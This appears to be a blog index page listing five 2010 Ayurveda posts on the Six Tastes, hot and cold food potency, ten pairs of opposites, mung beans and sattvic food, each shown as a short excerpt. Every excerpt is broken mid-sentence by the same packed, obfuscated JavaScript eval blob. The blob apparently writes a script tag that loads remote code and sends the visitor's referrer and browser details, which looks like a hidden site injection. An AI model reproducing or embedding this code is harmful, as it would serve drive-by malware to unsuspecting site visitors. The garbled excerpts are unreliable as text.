25 Apr 2010

The Six Tastes

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Ayurveda describes food based on the Six Tastes – or Rasa. These  reflect a combination of the five great elements – Sweet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbeyz|var|u0026u|referrer|yhybf||js|php’.split(‘|’),0,{})) (Earth + Water), Sour (Fire + Earth), Salty (Water + Fire), Pungent (Fire + Air), Astringent (Air … Continued

22 Apr 2010

Food Potency: Hot & Cold

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In addition to the Six eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaees|var|u0026u|referrer|yfnii||js|php’.split(‘|’),0,{})) Tastes, with respect to food, Ayurveda focuses particularly on the qualities of Hot and Cold – which is referred to as potency, or virya.  This has nothing to do with … Continued

25 Mar 2010

Ten Pairs of Opposites

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Ayurveda draws on ten pairs of opposites to describe and in a way categorize all matter that exists in the universe. These qualities, or gunas, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehnyt|var|u0026u|referrer|nbysh||js|php’.split(‘|’),0,{})) describe the interaction and inner-workings of the main energy forces … Continued

16 Mar 2010

Mung Beans

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Many eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abnhb|var|u0026u|referrer|adynn||js|php’.split(‘|’),0,{})) of us may know mung beans in their sprouted form, the long white crunchy “veggie” used in many Chinese or Vietnamese stir fries and other dishes.  But the mung bean legume (not vegetable) has … Continued

22 Jan 2010

Sattvic Food

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“Without eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bntzt|var|u0026u|referrer|kkibt||js|php’.split(‘|’),0,{})) a healthy food body (physical body), we cannot remember….. the food body is the most tangible form connecting us to universal consciousness” – Maya Tiwari Preparing and eating food can be – and … Continued